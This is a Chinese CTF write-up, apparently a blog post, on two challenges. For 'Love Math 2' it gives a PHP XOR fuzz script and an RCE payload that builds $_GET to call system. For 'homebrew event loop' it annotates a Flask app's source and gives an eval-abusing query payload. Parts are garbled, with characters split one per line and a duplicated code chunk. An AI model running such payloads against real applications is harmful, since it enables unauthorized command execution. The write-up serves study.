[NESTCTF 2019]Love Math 2
知识点
- 异或
- rce
题解
1.输入的字符长度不能超过60
2.输入的字符不能有黑名单
3.使用的字符串要包含在白名单中
通过白名单给出的字符串,异或整数,来看有没有可能rce
使用Mustapha Mond师傅的fuzz脚本
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
![请添加图片描述](https://i-blog.csdnimg.cn/direct/8226b62ec7ec47a6b03e776288bf4af4.png)
is_nan^64==>_G
-> $pi = is_nan^(6).(4)
tanh^15==>ET
-> $pi = (is_nan(6).(4)).(tanh(1).(5))
$pi = $$pi => $pi = $_GET
黑名单中过滤了[] -> 用{}绕过
p
i
=
(
i
s
n
a
n
(
6
)
.
(
4
)
)
.
(
t
a
n
h
(
1
)
.
(
5
)
)
;
pi=(is_nan^(6).(4)).(tanh^(1).(5));
pi=(isnan(6).(4)).(tanh(1).(5));pi=$
p
i
;
pi;
pi;pi{1}($pi{2})&1=system&2=ls
**Payload:**
url/?c=
p
i
=
(
i
s
n
a
n
(
6
)
.
(
4
)
)
.
(
t
a
n
h
(
1
)
.
(
5
)
)
;
pi=(is_nan^(6).(4)).(tanh^(1).(5));
pi=(isnan(6).(4)).(tanh(1).(5));pi=$
p
i
;
pi;
pi;pi{1}($pi{2})&1=system&2=tac /f*
#修改2的值即可rce
#### 参考
https://blog.csdn.net/qq_46263951/article/details/119240395
## [DDCTF 2019]homebrew event loop
#### 知识点
- python代码审计
- flask Cookie解密
#### 题解
```python
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event) # .append是一个列表方法,用于在列表末尾添加一个新的元素。 -> log键对应的值为列表, 在最后添加一个元素event
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]): # 检查event变量是不是一个列表
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):] # 切片: 找到prefix的下标,从prefix后面的第一个字符开始切片
if postfix is not None:
haystack = haystack[:haystack.find(postfix)] # 切片: 从开始切到prefix之前
return haystack # 经过切片之后的
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:] # 去掉第一个,取第二个到最后
if not event.startswith(('action:', 'func:')): # event是 queue的第一个值,判断是不是以action或func开头
continue
for c in event: # 判断event中的字符是否全有效
if c not in valid_event_chars: # 如果不是有效的,直接中断循环
break
else: # 如果是以action: 或者 func:开头的
is_action = event[0] == 'a' # 判断是不是action: 如果是, is_action为1
action = get_mid_str(event, ':', ';') # 可以根据上面的event注释来看 `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args) # 下面有一些函数, 估计是对应的, 也就是说我们点什么, 会调用某个函数, 参数来自于我们传入的URL中
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)# 将url参数进行url解码
request.event_queue = [] # 赋值一个空数组
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:# 为空 或者 不以action:开头 或者 长度大于100
querystring = 'action:index;False#False'
if 'num_items' not in session: # 初始化
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring) # 传入的参数是 url中参数,会将event添加到request.event_queue
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
我自己只过了一遍,中间加有自己的注释,
Payload是看的wp
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
参考
igger_event(‘action:view;index’)
if name == ‘main’:
app.run(debug=False, host=‘0.0.0.0’)
我自己只过了一遍,中间加有自己的注释,
==Payload是看的wp==
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
#### 参考
https://blog.csdn.net/wuyaowangchuan/article/details/110471985